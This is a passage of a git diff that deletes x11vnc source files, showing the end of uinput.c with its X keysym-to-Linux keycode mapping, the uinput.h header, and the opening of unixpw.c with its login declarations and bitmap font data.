- ptr_abs(last_x, last_y, p);
- }
- } else {
- ptr_abs(last_x, last_y, p);
- }
- }
- } else {
- if (!last_mask && !mask) {
- if (touch_always) {
- ptr_abs(last_x, last_y, 0);
- }
- } else if (!last_mask && mask) {
- ptr_abs(last_x, last_y, 0);
- button_click(1, 0);
- } else if (last_mask && !mask) {
- ptr_abs(last_x, last_y, 0);
- button_click(0, 0);
- } else if (last_mask && mask) {
- ;
- }
- }
- last_mask = mask;
- } else if (mask != last_mask) {
- int i;
- for (i=1; i <= MAX_BUTTONS; i++) {
- int down, b = 1 << (i-1);
- if ( (last_mask & b) == (mask & b)) {
- continue;
- }
- if (mask & b) {
- down = 1;
- } else {
- down = 0;
- }
- button_click(down, i);
- }
- if (mask && uinput_abs && touch_pressure >= 0) {
- ptr_abs(last_x, last_y, touch_pressure);
- }
- last_mask = mask;
- }
- bmask = mask;
-}
-
-void uinput_key_command(int down, int keysym, rfbClientPtr client) {
-#ifdef UINPUT_OK
- struct input_event ev;
- int scancode;
- allowed_input_t input;
- int d = direct_key_fd < 0 ? fd : direct_key_fd;
-
- if (injectable && strchr(injectable, 'K') == NULL) {
- return;
- }
- if (view_only) {
- return;
- }
- get_allowed_input(client, &input);
- if (! input.keystroke) {
- return;
- }
-
- scancode = lookup_code(keysym);
-
- if (scancode < 0) {
- return;
- }
- if (db) fprintf(stderr, "uinput_key_command: %d -> %d %s fd=%d\n", keysym, scancode, down ? "down" : "up", d);
-
- memset(&ev, 0, sizeof(ev));
- gettimeofday(&ev.time, NULL);
- ev.type = EV_KEY;
- ev.code = (unsigned char) scancode;
- ev.value = down;
-
- write(d, &ev, sizeof(ev));
-
- ev.type = EV_SYN;
- ev.code = SYN_REPORT;
- ev.value = 0;
- write(d, &ev, sizeof(ev));
-
- if (0 <= scancode && scancode < 256) {
- key_pressed[scancode] = down ? 1 : 0;
- }
-#else
- if (!down || !keysym || !client) {}
-#endif
-}
-
-#if 0
- grep 'case XK_' x0vnc.c | sed -e 's/case /$key_lookup{/' -e 's/:/}/' -e 's/return /= $/'
-#endif
-
-static int lookup_code(int keysym) {
-
- if (keysym == NoSymbol) {
- return -1;
- }
-
- switch(keysym) {
-#ifdef UINPUT_OK
- case XK_Escape: return KEY_ESC;
- case XK_1: return KEY_1;
- case XK_2: return KEY_2;
- case XK_3: return KEY_3;
- case XK_4: return KEY_4;
- case XK_5: return KEY_5;
- case XK_6: return KEY_6;
- case XK_7: return KEY_7;
- case XK_8: return KEY_8;
- case XK_9: return KEY_9;
- case XK_0: return KEY_0;
- case XK_exclam: return KEY_1;
- case XK_at: return KEY_2;
- case XK_numbersign: return KEY_3;
- case XK_dollar: return KEY_4;
- case XK_percent: return KEY_5;
- case XK_asciicircum: return KEY_6;
- case XK_ampersand: return KEY_7;
- case XK_asterisk: return KEY_8;
- case XK_parenleft: return KEY_9;
- case XK_parenright: return KEY_0;
- case XK_minus: return KEY_MINUS;
- case XK_underscore: return KEY_MINUS;
- case XK_equal: return KEY_EQUAL;
- case XK_plus: return KEY_EQUAL;
- case XK_BackSpace: return KEY_BACKSPACE;
- case XK_Tab: return KEY_TAB;
- case XK_q: return KEY_Q;
- case XK_Q: return KEY_Q;
- case XK_w: return KEY_W;
- case XK_W: return KEY_W;
- case XK_e: return KEY_E;
- case XK_E: return KEY_E;
- case XK_r: return KEY_R;
- case XK_R: return KEY_R;
- case XK_t: return KEY_T;
- case XK_T: return KEY_T;
- case XK_y: return KEY_Y;
- case XK_Y: return KEY_Y;
- case XK_u: return KEY_U;
- case XK_U: return KEY_U;
- case XK_i: return KEY_I;
- case XK_I: return KEY_I;
- case XK_o: return KEY_O;
- case XK_O: return KEY_O;
- case XK_p: return KEY_P;
- case XK_P: return KEY_P;
- case XK_braceleft: return KEY_LEFTBRACE;
- case XK_braceright: return KEY_RIGHTBRACE;
- case XK_bracketleft: return KEY_LEFTBRACE;
- case XK_bracketright: return KEY_RIGHTBRACE;
- case XK_Return: return KEY_ENTER;
- case XK_Control_L: return KEY_LEFTCTRL;
- case XK_a: return KEY_A;
- case XK_A: return KEY_A;
- case XK_s: return KEY_S;
- case XK_S: return KEY_S;
- case XK_d: return KEY_D;
- case XK_D: return KEY_D;
- case XK_f: return KEY_F;
- case XK_F: return KEY_F;
- case XK_g: return KEY_G;
- case XK_G: return KEY_G;
- case XK_h: return KEY_H;
- case XK_H: return KEY_H;
- case XK_j: return KEY_J;
- case XK_J: return KEY_J;
- case XK_k: return KEY_K;
- case XK_K: return KEY_K;
- case XK_l: return KEY_L;
- case XK_L: return KEY_L;
- case XK_semicolon: return KEY_SEMICOLON;
- case XK_colon: return KEY_SEMICOLON;
- case XK_apostrophe: return KEY_APOSTROPHE;
- case XK_quotedbl: return KEY_APOSTROPHE;
- case XK_grave: return KEY_GRAVE;
- case XK_asciitilde: return KEY_GRAVE;
- case XK_Shift_L: return KEY_LEFTSHIFT;
- case XK_backslash: return KEY_BACKSLASH;
- case XK_bar: return KEY_BACKSLASH;
- case XK_z: return KEY_Z;
- case XK_Z: return KEY_Z;
- case XK_x: return KEY_X;
- case XK_X: return KEY_X;
- case XK_c: return KEY_C;
- case XK_C: return KEY_C;
- case XK_v: return KEY_V;
- case XK_V: return KEY_V;
- case XK_b: return KEY_B;
- case XK_B: return KEY_B;
- case XK_n: return KEY_N;
- case XK_N: return KEY_N;
- case XK_m: return KEY_M;
- case XK_M: return KEY_M;
- case XK_comma: return KEY_COMMA;
- case XK_less: return KEY_COMMA;
- case XK_period: return KEY_DOT;
- case XK_greater: return KEY_DOT;
- case XK_slash: return KEY_SLASH;
- case XK_question: return KEY_SLASH;
- case XK_Shift_R: return KEY_RIGHTSHIFT;
- case XK_KP_Multiply: return KEY_KPASTERISK;
- case XK_Alt_L: return KEY_LEFTALT;
- case XK_space: return KEY_SPACE;
- case XK_Caps_Lock: return KEY_CAPSLOCK;
- case XK_F1: return KEY_F1;
- case XK_F2: return KEY_F2;
- case XK_F3: return KEY_F3;
- case XK_F4: return KEY_F4;
- case XK_F5: return KEY_F5;
- case XK_F6: return KEY_F6;
- case XK_F7: return KEY_F7;
- case XK_F8: return KEY_F8;
- case XK_F9: return KEY_F9;
- case XK_F10: return KEY_F10;
- case XK_Num_Lock: return KEY_NUMLOCK;
- case XK_Scroll_Lock: return KEY_SCROLLLOCK;
- case XK_KP_7: return KEY_KP7;
- case XK_KP_8: return KEY_KP8;
- case XK_KP_9: return KEY_KP9;
- case XK_KP_Subtract: return KEY_KPMINUS;
- case XK_KP_4: return KEY_KP4;
- case XK_KP_5: return KEY_KP5;
- case XK_KP_6: return KEY_KP6;
- case XK_KP_Add: return KEY_KPPLUS;
- case XK_KP_1: return KEY_KP1;
- case XK_KP_2: return KEY_KP2;
- case XK_KP_3: return KEY_KP3;
- case XK_KP_0: return KEY_KP0;
- case XK_KP_Decimal: return KEY_KPDOT;
- case XK_F13: return KEY_F13;
- case XK_F11: return KEY_F11;
- case XK_F12: return KEY_F12;
- case XK_F14: return KEY_F14;
- case XK_F15: return KEY_F15;
- case XK_F16: return KEY_F16;
- case XK_F17: return KEY_F17;
- case XK_F18: return KEY_F18;
- case XK_F19: return KEY_F19;
- case XK_F20: return KEY_F20;
- case XK_KP_Enter: return KEY_KPENTER;
- case XK_Control_R: return KEY_RIGHTCTRL;
- case XK_KP_Divide: return KEY_KPSLASH;
- case XK_Sys_Req: return KEY_SYSRQ;
- case XK_Alt_R: return KEY_RIGHTALT;
- case XK_Linefeed: return KEY_LINEFEED;
- case XK_Home: return KEY_HOME;
- case XK_Up: return KEY_UP;
- case XK_Page_Up: return KEY_PAGEUP;
- case XK_Left: return KEY_LEFT;
- case XK_Right: return KEY_RIGHT;
- case XK_End: return KEY_END;
- case XK_Down: return KEY_DOWN;
- case XK_Page_Down: return KEY_PAGEDOWN;
- case XK_Insert: return KEY_INSERT;
- case XK_Delete: return KEY_DELETE;
- case XK_KP_Equal: return KEY_KPEQUAL;
- case XK_Pause: return KEY_PAUSE;
- case XK_F21: return KEY_F21;
- case XK_F22: return KEY_F22;
- case XK_F23: return KEY_F23;
- case XK_F24: return KEY_F24;
- case XK_KP_Separator: return KEY_KPCOMMA;
- case XK_Meta_L: return KEY_LEFTMETA;
- case XK_Meta_R: return KEY_RIGHTMETA;
- case XK_Multi_key: return KEY_COMPOSE;
-#endif
- default: return -1;
- }
-}
-
-#if 0
-
-From /usr/include/linux/input.h
-
-We maintain it here since it is such a painful mess.
-
-Here is a little script to make it easier:
-
-#!/usr/bin/perl
-while (<>) {
- $_ =~ s/-XK_/XK_/;
- next unless /^XK_/;
- chomp;
- if (/^(\S+)(\s+)(\S+)/) {
- $a = $1;
- $t = $2;
- $b = $3;
- print "\tcase $a:${t}return $b;\n";
- if ($a =~ /XK_[a-z]$/) {
- $a = uc($a);
- print "\tcase $a:${t}return $b;\n";
- }
- }
-}
-
-This only handles US kbd, we would need a kbd database in general...
-Ugh: parse dumpkeys(1) or -fookeys /usr/share/keymaps/i386/qwerty/dk.kmap.gz
-
-XK_Escape KEY_ESC
-XK_1 KEY_1
-XK_2 KEY_2
-XK_3 KEY_3
-XK_4 KEY_4
-XK_5 KEY_5
-XK_6 KEY_6
-XK_7 KEY_7
-XK_8 KEY_8
-XK_9 KEY_9
-XK_0 KEY_0
--XK_exclam KEY_1
--XK_at KEY_2
--XK_numbersign KEY_3
--XK_dollar KEY_4
--XK_percent KEY_5
--XK_asciicircum KEY_6
--XK_ampersand KEY_7
--XK_asterisk KEY_8
--XK_parenleft KEY_9
--XK_parenright KEY_0
-XK_minus KEY_MINUS
--XK_underscore KEY_MINUS
-XK_equal KEY_EQUAL
--XK_plus KEY_EQUAL
-XK_BackSpace KEY_BACKSPACE
-XK_Tab KEY_TAB
-XK_q KEY_Q
-XK_w KEY_W
-XK_e KEY_E
-XK_r KEY_R
-XK_t KEY_T
-XK_y KEY_Y
-XK_u KEY_U
-XK_i KEY_I
-XK_o KEY_O
-XK_p KEY_P
-XK_braceleft KEY_LEFTBRACE
-XK_braceright KEY_RIGHTBRACE
--XK_bracketleft KEY_LEFTBRACE
--XK_bracketright KEY_RIGHTBRACE
-XK_Return KEY_ENTER
-XK_Control_L KEY_LEFTCTRL
-XK_a KEY_A
-XK_s KEY_S
-XK_d KEY_D
-XK_f KEY_F
-XK_g KEY_G
-XK_h KEY_H
-XK_j KEY_J
-XK_k KEY_K
-XK_l KEY_L
-XK_semicolon KEY_SEMICOLON
--XK_colon KEY_SEMICOLON
-XK_apostrophe KEY_APOSTROPHE
--XK_quotedbl KEY_APOSTROPHE
-XK_grave KEY_GRAVE
--XK_asciitilde KEY_GRAVE
-XK_Shift_L KEY_LEFTSHIFT
-XK_backslash KEY_BACKSLASH
--XK_bar KEY_BACKSLASH
-XK_z KEY_Z
-XK_x KEY_X
-XK_c KEY_C
-XK_v KEY_V
-XK_b KEY_B
-XK_n KEY_N
-XK_m KEY_M
-XK_comma KEY_COMMA
--XK_less KEY_COMMA
-XK_period KEY_DOT
--XK_greater KEY_DOT
-XK_slash KEY_SLASH
--XK_question KEY_SLASH
-XK_Shift_R KEY_RIGHTSHIFT
-XK_KP_Multiply KEY_KPASTERISK
-XK_Alt_L KEY_LEFTALT
-XK_space KEY_SPACE
-XK_Caps_Lock KEY_CAPSLOCK
-XK_F1 KEY_F1
-XK_F2 KEY_F2
-XK_F3 KEY_F3
-XK_F4 KEY_F4
-XK_F5 KEY_F5
-XK_F6 KEY_F6
-XK_F7 KEY_F7
-XK_F8 KEY_F8
-XK_F9 KEY_F9
-XK_F10 KEY_F10
-XK_Num_Lock KEY_NUMLOCK
-XK_Scroll_Lock KEY_SCROLLLOCK
-XK_KP_7 KEY_KP7
-XK_KP_8 KEY_KP8
-XK_KP_9 KEY_KP9
-XK_KP_Subtract KEY_KPMINUS
-XK_KP_4 KEY_KP4
-XK_KP_5 KEY_KP5
-XK_KP_6 KEY_KP6
-XK_KP_Add KEY_KPPLUS
-XK_KP_1 KEY_KP1
-XK_KP_2 KEY_KP2
-XK_KP_3 KEY_KP3
-XK_KP_0 KEY_KP0
-XK_KP_Decimal KEY_KPDOT
-NoSymbol KEY_103RD
-XK_F13 KEY_F13
-NoSymbol KEY_102ND
-XK_F11 KEY_F11
-XK_F12 KEY_F12
-XK_F14 KEY_F14
-XK_F15 KEY_F15
-XK_F16 KEY_F16
-XK_F17 KEY_F17
-XK_F18 KEY_F18
-XK_F19 KEY_F19
-XK_F20 KEY_F20
-XK_KP_Enter KEY_KPENTER
-XK_Control_R KEY_RIGHTCTRL
-XK_KP_Divide KEY_KPSLASH
-XK_Sys_Req KEY_SYSRQ
-XK_Alt_R KEY_RIGHTALT
-XK_Linefeed KEY_LINEFEED
-XK_Home KEY_HOME
-XK_Up KEY_UP
-XK_Page_Up KEY_PAGEUP
-XK_Left KEY_LEFT
-XK_Right KEY_RIGHT
-XK_End KEY_END
-XK_Down KEY_DOWN
-XK_Page_Down KEY_PAGEDOWN
-XK_Insert KEY_INSERT
-XK_Delete KEY_DELETE
-NoSymbol KEY_MACRO
-NoSymbol KEY_MUTE
-NoSymbol KEY_VOLUMEDOWN
-NoSymbol KEY_VOLUMEUP
-NoSymbol KEY_POWER
-XK_KP_Equal KEY_KPEQUAL
-NoSymbol KEY_KPPLUSMINUS
-XK_Pause KEY_PAUSE
-XK_F21 KEY_F21
-XK_F22 KEY_F22
-XK_F23 KEY_F23
-XK_F24 KEY_F24
-XK_KP_Separator KEY_KPCOMMA
-XK_Meta_L KEY_LEFTMETA
-XK_Meta_R KEY_RIGHTMETA
-XK_Multi_key KEY_COMPOSE
-
-NoSymbol KEY_STOP
-NoSymbol KEY_AGAIN
-NoSymbol KEY_PROPS
-NoSymbol KEY_UNDO
-NoSymbol KEY_FRONT
-NoSymbol KEY_COPY
-NoSymbol KEY_OPEN
-NoSymbol KEY_PASTE
-NoSymbol KEY_FIND
-NoSymbol KEY_CUT
-NoSymbol KEY_HELP
-NoSymbol KEY_MENU
-NoSymbol KEY_CALC
-NoSymbol KEY_SETUP
-NoSymbol KEY_SLEEP
-NoSymbol KEY_WAKEUP
-NoSymbol KEY_FILE
-NoSymbol KEY_SENDFILE
-NoSymbol KEY_DELETEFILE
-NoSymbol KEY_XFER
-NoSymbol KEY_PROG1
-NoSymbol KEY_PROG2
-NoSymbol KEY_WWW
-NoSymbol KEY_MSDOS
-NoSymbol KEY_COFFEE
-NoSymbol KEY_DIRECTION
-NoSymbol KEY_CYCLEWINDOWS
-NoSymbol KEY_MAIL
-NoSymbol KEY_BOOKMARKS
-NoSymbol KEY_COMPUTER
-NoSymbol KEY_BACK
-NoSymbol KEY_FORWARD
-NoSymbol KEY_CLOSECD
-NoSymbol KEY_EJECTCD
-NoSymbol KEY_EJECTCLOSECD
-NoSymbol KEY_NEXTSONG
-NoSymbol KEY_PLAYPAUSE
-NoSymbol KEY_PREVIOUSSONG
-NoSymbol KEY_STOPCD
-NoSymbol KEY_RECORD
-NoSymbol KEY_REWIND
-NoSymbol KEY_PHONE
-NoSymbol KEY_ISO
-NoSymbol KEY_CONFIG
-NoSymbol KEY_HOMEPAGE
-NoSymbol KEY_REFRESH
-NoSymbol KEY_EXIT
-NoSymbol KEY_MOVE
-NoSymbol KEY_EDIT
-NoSymbol KEY_SCROLLUP
-NoSymbol KEY_SCROLLDOWN
-NoSymbol KEY_KPLEFTPAREN
-NoSymbol KEY_KPRIGHTPAREN
-
-NoSymbol KEY_INTL1
-NoSymbol KEY_INTL2
-NoSymbol KEY_INTL3
-NoSymbol KEY_INTL4
-NoSymbol KEY_INTL5
-NoSymbol KEY_INTL6
-NoSymbol KEY_INTL7
-NoSymbol KEY_INTL8
-NoSymbol KEY_INTL9
-NoSymbol KEY_LANG1
-NoSymbol KEY_LANG2
-NoSymbol KEY_LANG3
-NoSymbol KEY_LANG4
-NoSymbol KEY_LANG5
-NoSymbol KEY_LANG6
-NoSymbol KEY_LANG7
-NoSymbol KEY_LANG8
-NoSymbol KEY_LANG9
-
-NoSymbol KEY_PLAYCD
-NoSymbol KEY_PAUSECD
-NoSymbol KEY_PROG3
-NoSymbol KEY_PROG4
-NoSymbol KEY_SUSPEND
-NoSymbol KEY_CLOSE
-NoSymbol KEY_PLAY
-NoSymbol KEY_FASTFORWARD
-NoSymbol KEY_BASSBOOST
-NoSymbol KEY_PRINT
-NoSymbol KEY_HP
-NoSymbol KEY_CAMERA
-NoSymbol KEY_SOUND
-NoSymbol KEY_QUESTION
-NoSymbol KEY_EMAIL
-NoSymbol KEY_CHAT
-NoSymbol KEY_SEARCH
-NoSymbol KEY_CONNECT
-NoSymbol KEY_FINANCE
-NoSymbol KEY_SPORT
-NoSymbol KEY_SHOP
-NoSymbol KEY_ALTERASE
-NoSymbol KEY_CANCEL
-NoSymbol KEY_BRIGHTNESSDOWN
-NoSymbol KEY_BRIGHTNESSUP
-NoSymbol KEY_MEDIA
-
-NoSymbol KEY_UNKNOWN
-NoSymbol
-NoSymbol BTN_MISC
-NoSymbol BTN_0
-NoSymbol BTN_1
-NoSymbol BTN_2
-NoSymbol BTN_3
-NoSymbol BTN_4
-NoSymbol BTN_5
-NoSymbol BTN_6
-NoSymbol BTN_7
-NoSymbol BTN_8
-NoSymbol BTN_9
-NoSymbol
-NoSymbol BTN_MOUSE
-NoSymbol BTN_LEFT
-NoSymbol BTN_RIGHT
-NoSymbol BTN_MIDDLE
-NoSymbol BTN_SIDE
-NoSymbol BTN_EXTRA
-NoSymbol BTN_FORWARD
-NoSymbol BTN_BACK
-NoSymbol BTN_TASK
-NoSymbol
-NoSymbol BTN_JOYSTICK
-NoSymbol BTN_TRIGGER
-NoSymbol BTN_THUMB
-NoSymbol BTN_THUMB2
-NoSymbol BTN_TOP
-NoSymbol BTN_TOP2
-NoSymbol BTN_PINKIE
-NoSymbol BTN_BASE
-NoSymbol BTN_BASE2
-NoSymbol BTN_BASE3
-NoSymbol BTN_BASE4
-NoSymbol BTN_BASE5
-NoSymbol BTN_BASE6
-NoSymbol BTN_DEAD
-
-NoSymbol BTN_GAMEPAD
-NoSymbol BTN_A
-NoSymbol BTN_B
-NoSymbol BTN_C
-NoSymbol BTN_X
-NoSymbol BTN_Y
-NoSymbol BTN_Z
-NoSymbol BTN_TL
-NoSymbol BTN_TR
-NoSymbol BTN_TL2
-NoSymbol BTN_TR2
-NoSymbol BTN_SELECT
-NoSymbol BTN_START
-NoSymbol BTN_MODE
-NoSymbol BTN_THUMBL
-NoSymbol BTN_THUMBR
-
-NoSymbol BTN_DIGI
-NoSymbol BTN_TOOL_PEN
-NoSymbol BTN_TOOL_RUBBER
-NoSymbol BTN_TOOL_BRUSH
-NoSymbol BTN_TOOL_PENCIL
-NoSymbol BTN_TOOL_AIRBRUSH
-NoSymbol BTN_TOOL_FINGER
-NoSymbol BTN_TOOL_MOUSE
-NoSymbol BTN_TOOL_LENS
-NoSymbol BTN_TOUCH
-NoSymbol BTN_STYLUS
-NoSymbol BTN_STYLUS2
-NoSymbol BTN_TOOL_DOUBLETAP
-NoSymbol BTN_TOOL_TRIPLETAP
-
-NoSymbol BTN_WHEEL
-NoSymbol BTN_GEAR_DOWN
-NoSymbol BTN_GEAR_UP
-
-NoSymbol KEY_OK
-NoSymbol KEY_SELECT
-NoSymbol KEY_GOTO
-NoSymbol KEY_CLEAR
-NoSymbol KEY_POWER2
-NoSymbol KEY_OPTION
-NoSymbol KEY_INFO
-NoSymbol KEY_TIME
-NoSymbol KEY_VENDOR
-NoSymbol KEY_ARCHIVE
-NoSymbol KEY_PROGRAM
-NoSymbol KEY_CHANNEL
-NoSymbol KEY_FAVORITES
-NoSymbol KEY_EPG
-NoSymbol KEY_PVR
-NoSymbol KEY_MHP
-NoSymbol KEY_LANGUAGE
-NoSymbol KEY_TITLE
-NoSymbol KEY_SUBTITLE
-NoSymbol KEY_ANGLE
-NoSymbol KEY_ZOOM
-NoSymbol KEY_MODE
-NoSymbol KEY_KEYBOARD
-NoSymbol KEY_SCREEN
-NoSymbol KEY_PC
-NoSymbol KEY_TV
-NoSymbol KEY_TV2
-NoSymbol KEY_VCR
-NoSymbol KEY_VCR2
-NoSymbol KEY_SAT
-NoSymbol KEY_SAT2
-NoSymbol KEY_CD
-NoSymbol KEY_TAPE
-NoSymbol KEY_RADIO
-NoSymbol KEY_TUNER
-NoSymbol KEY_PLAYER
-NoSymbol KEY_TEXT
-NoSymbol KEY_DVD
-NoSymbol KEY_AUX
-NoSymbol KEY_MP3
-NoSymbol KEY_AUDIO
-NoSymbol KEY_VIDEO
-NoSymbol KEY_DIRECTORY
-NoSymbol KEY_LIST
-NoSymbol KEY_MEMO
-NoSymbol KEY_CALENDAR
-NoSymbol KEY_RED
-NoSymbol KEY_GREEN
-NoSymbol KEY_YELLOW
-NoSymbol KEY_BLUE
-NoSymbol KEY_CHANNELUP
-NoSymbol KEY_CHANNELDOWN
-NoSymbol KEY_FIRST
-NoSymbol KEY_LAST
-NoSymbol KEY_AB
-NoSymbol KEY_NEXT
-NoSymbol KEY_RESTART
-NoSymbol KEY_SLOW
-NoSymbol KEY_SHUFFLE
-NoSymbol KEY_BREAK
-NoSymbol KEY_PREVIOUS
-NoSymbol KEY_DIGITS
-NoSymbol KEY_TEEN
-NoSymbol KEY_TWEN
-
-NoSymbol KEY_DEL_EOL
-NoSymbol KEY_DEL_EOS
-NoSymbol KEY_INS_LINE
-NoSymbol KEY_DEL_LINE
-NoSymbol KEY_MAX
-
-#endif
-
-
diff --git a/x11vnc/uinput.h b/x11vnc/uinput.h
deleted file mode 100644
index 346e97c..0000000
--- a/x11vnc/uinput.h
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-#ifndef _X11VNC_UINPUT_H
-#define _X11VNC_UINPUT_H
-
-/* -- uinput.h -- */
-
-extern int check_uinput(void);
-extern int initialize_uinput(void);
-extern void shutdown_uinput(void);
-extern int set_uinput_accel(char *str);
-extern int set_uinput_thresh(char *str);
-extern void set_uinput_reset(int ms);
-extern void set_uinput_always(int);
-extern void set_uinput_touchscreen(int);
-extern void set_uinput_abs(int);
-extern char *get_uinput_accel();
-extern char *get_uinput_thresh();
-extern int get_uinput_reset();
-extern int get_uinput_always();
-extern int get_uinput_touchscreen();
-extern int get_uinput_abs();
-extern void parse_uinput_str(char *str);
-extern void uinput_pointer_command(int mask, int x, int y, rfbClientPtr client);
-extern void uinput_key_command(int down, int keysym, rfbClientPtr client);
-
-
-
-#endif /* _X11VNC_UINPUT_H */
diff --git a/x11vnc/unixpw.c b/x11vnc/unixpw.c
deleted file mode 100644
index ccdb195..0000000
--- a/x11vnc/unixpw.c
+++ /dev/null
@@ -1,2281 +0,0 @@
-/*
- Copyright (C) 2002-2010 Karl J. Runge <runge@karlrunge.com>
- All rights reserved.
-
-This file is part of x11vnc.
-
-x11vnc is free software; you can redistribute it and/or modify
-it under the terms of the GNU General Public License as published by
-the Free Software Foundation; either version 2 of the License, or (at
-your option) any later version.
-
-x11vnc is distributed in the hope that it will be useful,
-but WITHOUT ANY WARRANTY; without even the implied warranty of
-MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
-GNU General Public License for more details.
-
-You should have received a copy of the GNU General Public License
-along with x11vnc; if not, write to the Free Software
-Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA
-or see <http://www.gnu.org/licenses/>.
-
-In addition, as a special exception, Karl J. Runge
-gives permission to link the code of its release of x11vnc with the
-OpenSSL project's "OpenSSL" library (or with modified versions of it
-that use the same license as the "OpenSSL" library), and distribute
-the linked executables. You must obey the GNU General Public License
-in all respects for all of the code used other than "OpenSSL". If you
-modify this file, you may extend this exception to your version of the
-file, but you are not obligated to do so. If you do not wish to do
-so, delete this exception statement from your version.
-*/
-
-/* -- unixpw.c -- */
-
-#ifdef __linux__
-/* some conflict with _XOPEN_SOURCE */
-extern int grantpt(int);
-extern int unlockpt(int);
-extern char *ptsname(int);
-#endif
-
-#ifndef DO_NOT_DECLARE_CRYPT
-extern char *crypt(const char*, const char *);
-#endif
-
-#include "x11vnc.h"
-#include "scan.h"
-#include "cleanup.h"
-#include "xinerama.h"
-#include "connections.h"
-#include "user.h"
-#include "connections.h"
-#include "sslhelper.h"
-#include "cursor.h"
-#include "rates.h"
-#include <rfb/default8x16.h>
-
-#if LIBVNCSERVER_HAVE_FORK
-#if LIBVNCSERVER_HAVE_SYS_WAIT_H && LIBVNCSERVER_HAVE_WAITPID
-#define UNIXPW_SU
-#endif
-#endif
-
-#ifdef IGNORE_GETSPNAM
-#undef LIBVNCSERVER_HAVE_GETSPNAM
-#define LIBVNCSERVER_HAVE_GETSPNAM 0
-#endif
-
-#if LIBVNCSERVER_HAVE_PWD_H && LIBVNCSERVER_HAVE_GETPWNAM
-#if LIBVNCSERVER_HAVE_CRYPT || LIBVNCSERVER_HAVE_LIBCRYPT
-#define UNIXPW_CRYPT
-#if LIBVNCSERVER_HAVE_GETSPNAM
-#include <shadow.h>
-#endif
-#endif
-#endif
-
-#if LIBVNCSERVER_HAVE_SYS_IOCTL_H
-#include <sys/ioctl.h>
-#endif
-#if LIBVNCSERVER_HAVE_TERMIOS_H
-#include <termios.h>
-#endif
-#if LIBVNCSERVER_HAVE_SYS_STROPTS_H
-#include <sys/stropts.h>
-#endif
-
-#if defined(__OpenBSD__) || defined(__FreeBSD__) || defined(__NetBSD__)
-#define IS_BSD
-#endif
-#if (defined(__MACH__) && defined(__APPLE__))
-#define IS_BSD
-#endif
-
-int white_pixel(void);
-void unixpw_screen(int init);
-void unixpw_keystroke(rfbBool down, rfbKeySym keysym, int init);
-void unixpw_accept(char *user);
-void unixpw_deny(void);
-void unixpw_msg(char *msg, int delay);
-int su_verify(char *user, char *pass, char *cmd, char *rbuf, int *rbuf_size, int nodisp);
-int unixpw_cmd_run(char *user, char *pass, char *cmd, char *line, int *n);
-int crypt_verify(char *user, char *pass);
-int cmd_verify(char *user, char *pass);
-void unixpw_verify_screen(char *user, char *pass);
-
-static int text_x(void);
-static int text_y(void);
-static void set_db(void);
-
-int unixpw_in_progress = 0;
-int unixpw_denied = 0;
-int unixpw_in_rfbPE = 0;
-int unixpw_login_viewonly = 0;
-int unixpw_tightvnc_xfer_save = 0;
-rfbBool unixpw_file_xfer_save = FALSE;
-time_t unixpw_last_try_time = 0;
-rfbClientPtr unixpw_client = NULL;
-
-int keep_unixpw = 0;
-char *keep_unixpw_user = NULL;
-char *keep_unixpw_pass = NULL;
-char *keep_unixpw_opts = NULL;
-
-static unsigned char default6x13FontData[2899]={
-0x00,0x00,0xA8,0x00,0x88,0x00,0x88,0x00,0x88,0x00,0xA8,0x00,0x00, /* 0 */
-0x00,0x00,0x00,0x00,0x20,0x70,0xF8,0x70,0x20,0x00,0x00,0x00,0x00, /* 1 */
-0xA8,0x54,0xA8,0x54,0xA8,0x54,0xA8,0x54,0xA8,0x54,0xA8,0x54,0xA8, /* 2 */
-0x00,0x00,0xA0,0xA0,0xE0,0xA0,0xA0,0x38,0x10,0x10,0x10,0x00,0x00, /* 3 */
-0x00,0x00,0xE0,0x80,0xC0,0x80,0xB8,0x20,0x30,0x20,0x20,0x00,0x00, /* 4 */
-0x00,0x00,0x60,0x80,0x80,0x60,0x30,0x28,0x30,0x28,0x28,0x00,0x00, /* 5 */
-0x00,0x00,0x80,0x80,0x80,0xE0,0x38,0x20,0x30,0x20,0x20,0x00,0x00, /* 6 */
-0x00,0x00,0x30,0x48,0x48,0x30,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 7 */
-0x00,0x00,0x00,0x20,0x20,0xF8,0x20,0x20,0x00,0xF8,0x00,0x00,0x00, /* 8 */
-0x00,0x00,0x90,0xD0,0xB0,0x90,0x20,0x20,0x20,0x20,0x38,0x00,0x00, /* 9 */
-0x00,0x00,0xA0,0xA0,0xA0,0x40,0x40,0x38,0x10,0x10,0x10,0x00,0x00, /* 10 */
-0x20,0x20,0x20,0x20,0x20,0x20,0xE0,0x00,0x00,0x00,0x00,0x00,0x00, /* 11 */
-0x00,0x00,0x00,0x00,0x00,0x00,0xE0,0x20,0x20,0x20,0x20,0x20,0x20, /* 12 */
-0x00,0x00,0x00,0x00,0x00,0x00,0x3C,0x20,0x20,0x20,0x20,0x20,0x20, /* 13 */
-0x20,0x20,0x20,0x20,0x20,0x20,0x3C,0x00,0x00,0x00,0x00,0x00,0x00, /* 14 */
-0x20,0x20,0x20,0x20,0x20,0x20,0xFC,0x20,0x20,0x20,0x20,0x20,0x20, /* 15 */
-0xFC,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00, /* 16 */
